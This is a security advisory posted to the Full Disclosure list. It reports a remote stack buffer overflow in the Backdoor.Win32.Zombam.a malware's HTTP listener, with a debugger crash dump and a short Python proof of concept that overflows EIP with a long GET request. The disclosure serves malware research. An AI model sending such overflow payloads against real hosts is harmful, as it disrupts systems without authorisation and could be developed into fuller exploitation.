Date: Mon, 11 Jan 2021 11:16:53 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Zombam.a / Remote Stack Buffer Overflow

Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/6c5081e9b65a52963b0b1ae612ef7eb4.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zombam.a
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 80, sending an HTTP GET
request with 300 or more bytes will trigger buffer overflow
overwriting EIP.
Type: PE32
MD5: 6c5081e9b65a52963b0b1ae612ef7eb4
Vuln ID: MVID-2021-0022
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/11/2021

Memory Dump:
0:004> .ecxr
eax=00000000 ebx=03f90350 ecx=852341b4 edx=00000000 esi=047efb55 edi=047efc8b
eip=41414141 esp=047efab8 ebp=047eff80 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
41414141 ??              ???

FAULTING_IP:
+24
41414141 ??              ???

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME:  Backdoor.Win32.Zombam.a.6c5081e9b65a52963b0b1ae612ef7eb4.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p
referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  41414141

READ_ADDRESS:  41414141

FOLLOWUP_IP:
+24
41414141 ??              ???

FAILED_INSTRUCTION_ADDRESS:
+24
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute
[Is_ChosenCrashFollowupThread] from Frame:[0] on
thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 41414141 to 41414141

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE

PRIMARY_PROBLEM_CLASS:  BAD_INSTRUCTION_PTR_STACKIMMUNE

DEFAULT_BUCKET_ID:  BAD_INSTRUCTION_PTR_STACKIMMUNE

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

FRAME_ONE_INVALID: 1

STACK_TEXT:
00000000 00000000
unknown!backdoor.win32.zombam.a.6c5081e9b65a52963b0b1ae612ef7eb4.exe+0x0


STACK_COMMAND:  .cxr 00000000047EF658 ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME:  unknown!backdoor.win32.zombam.a.6c5081e9b65a52963b0b1ae612ef7eb4.exe

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: unknown

IMAGE_NAME:  unknown

DEBUG_FLR_IMAGE_TIMESTAMP:  0

FAILURE_BUCKET_ID:  BAD_INSTRUCTION_PTR_STACKIMMUNE_c0000005_unknown!Unloaded

BUCKET_ID:  APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_BAD_IP_unknown!backdoor.win32.zombam.a.6c5081e9b65a52963b0b1ae612ef7eb4.exe


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=80

PACKET="GET /"+"A"*300+"HTTP/1.0\r\nHost: "+MALWARE_HOST

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
s.send(PACKET)
s.close()
print("Backdoor.Win32.Zombam.a / Remote Stack Buffer Overflow")
print("MD5: 6c5081e9b65a52963b0b1ae612ef7eb4")
print("By Malvuln")


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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